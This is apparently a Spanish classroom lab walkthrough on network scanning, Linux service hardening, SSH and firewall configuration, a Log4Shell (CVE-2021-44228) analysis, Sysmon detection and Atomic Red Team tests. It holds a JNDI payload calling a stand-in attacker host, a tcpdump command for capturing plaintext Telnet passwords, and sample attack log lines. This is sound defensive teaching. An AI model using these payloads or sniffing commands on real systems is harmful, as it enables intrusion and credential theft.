

PASO 1 — Descubrimiento inicial con Nmap

```
nmap -sn 192.168.1.0/24
# Salida esperada:
# 192.168.1.1 (router), 192.168.1.10 (servidor), 192.168.1.20-44 (PCs aula)
# 26 hosts up
```

PASO 2 — Escaneo en profundidad del servidor

```
nmap -sS -sV -O -p- 192.168.1.10
# Resultado típico de servidor Linux mal configurado:
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3   ← INSEGURO
22/tcp    open  ssh          OpenSSH 8.9
23/tcp    open  telnet       Linux telnetd ← CRÍTICO
80/tcp    open  http         Apache 2.4.52
3306/tcp  open  mysql        MySQL 8.0.28 ← EXPUESTO
8080/tcp  open  http-proxy   Squid 5.7
```

PASO 3 — Capturar credenciales Telnet con tcpdump

```
sudo tcpdump -i eth0 -n port 23 -A
# Lo que verías si alguien se conecta por Telnet:
# ....login: admin
# ....Password: P@ssword123 ← EN TEXTO PLANO

# Comparar con SSH (cifrado — ilegible):
sudo tcpdump -i eth0 -n port 22 -A
```

PASO 4 — Cerrar servicios innecesarios en Linux

```
# Deshabilitar y eliminar Telnet
sudo systemctl disable --now telnet.socket && sudo apt purge telnetd -y

# Deshabilitar FTP (los usuarios usan SFTP por SSH)
sudo systemctl disable --now vsftpd

# Restringir MySQL a localhost
sudo sed -i 's/bind-address.*/bind-address = 127.0.0.1/'
/etc/mysql/mysql.conf.d/mysqld.cnf
sudo systemctl restart mysql

# Verificar resultado
sudo ss -tlnp # Solo deben quedar: 22 (SSH), 80 (HTTP), 443 (HTTPS)
```

PASO 5 — Bastionado SSH

```
# Configuración INCORRECTA (por defecto en muchos sistemas):
# PermitRootLogin yes | PasswordAuthentication yes | MaxAuthTries 6
```

```
# Configuración CORRECTA:
sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/'
/etc/ssh/sshd_config
sudo sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/'
/etc/ssh/sshd_config
sudo sed -i 's/^#*MaxAuthTries.*/MaxAuthTries 3/' /etc/ssh/sshd_config

# CRÍTICO: verificar sintaxis ANTES de recargar
sudo sshd -t && sudo systemctl reload ssh
```

PASO 6 — UFW con política deny por defecto

```
sudo ufw default deny incoming && sudo ufw default allow outgoing
sudo ufw allow from 192.168.1.0/24 to any port 22 comment 'SSH red interna'
sudo ufw allow 443/tcp comment 'HTTPS' && sudo ufw allow 80/tcp comment
'HTTP-HTTPS'
sudo ufw enable && sudo ufw status verbose
```

Escenario: El Ateneo tiene Log4Shell

Durante el escaneo de vulnerabilidades aparece un servidor con Apache Log4j 2.14.1. Es noviembre de 2021, Log4Shell acaba de publicarse.

PASO 7 — Analizar CVE-2021-44228 con CVSS

Campo	Detalle
CVE	CVE-2021-44228 — Log4Shell
Vector CVSS v3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Puntuación	10.0 — CRÍTICO (máxima posible)
Mecanismo	Log4j procesa JNDI lookups en mensajes de log. \${jndi:ldap://attacker.com/a} en cualquier campo logueado descarga y ejecuta código arbitrario del servidor del atacante.
Condición de explotación	Sin autenticación (PR:N), sin interacción del usuario (UI:N), desde la red (AV:N) → cualquier app Java con Log4j 2.x que registre entrada del usuario es vulnerable.
Parche	Log4j 2.17.1. Mitigación inmediata: JVM - Dlog4j2.formatMsgNoLookups=true
SLA de parcheo	CRÍTICO → parcheo de emergencia en < 24 horas.

PASO 8 — Sysmon capturando el ataque

```
# Sysmon EID 1 (Process Create) — payload de Log4Shell:
Image: cmd.exe CommandLine: cmd.exe /c whoami > C:\Temp\out.txt
ParentImage: java.exe ← proceso padre sospechoso

# Sysmon EID 3 (Network Connection):
```

```
Image: java.exe DestinationIp: 185.220.101.45 Port: 1389 ← LDAP del atacante
```

```
# Detección en Security Onion:  
# Suricata: ET EXPLOIT Apache Log4j RCE Attempt (CVE-2021-44228)  
# KQL Kibana: event.code:1 AND process.parent.name:java.exe AND process.name:cmd.exe
```

PASO 9 — Flujo de trabajo Atomic Red Team

```
# En DC01 (PowerShell como Admin)  
Invoke-AtomicTest T1059.001 -ShowDetailsBrief # ¿Qué hace?  
Invoke-AtomicTest T1059.001 -CheckPrereqs # ¿Prerrequisitos?  
Invoke-AtomicTest T1059.001 -TestNumbers 1 # Ejecutar  
  
# Buscar en Security Onion (esperar 2-3 min):  
# Kibana KQL: event.code:1 AND winlog.event_data.CommandLine:*-enc*  
  
Invoke-AtomicTest T1059.001 -Cleanup -TestNumbers 1 # Limpiar
```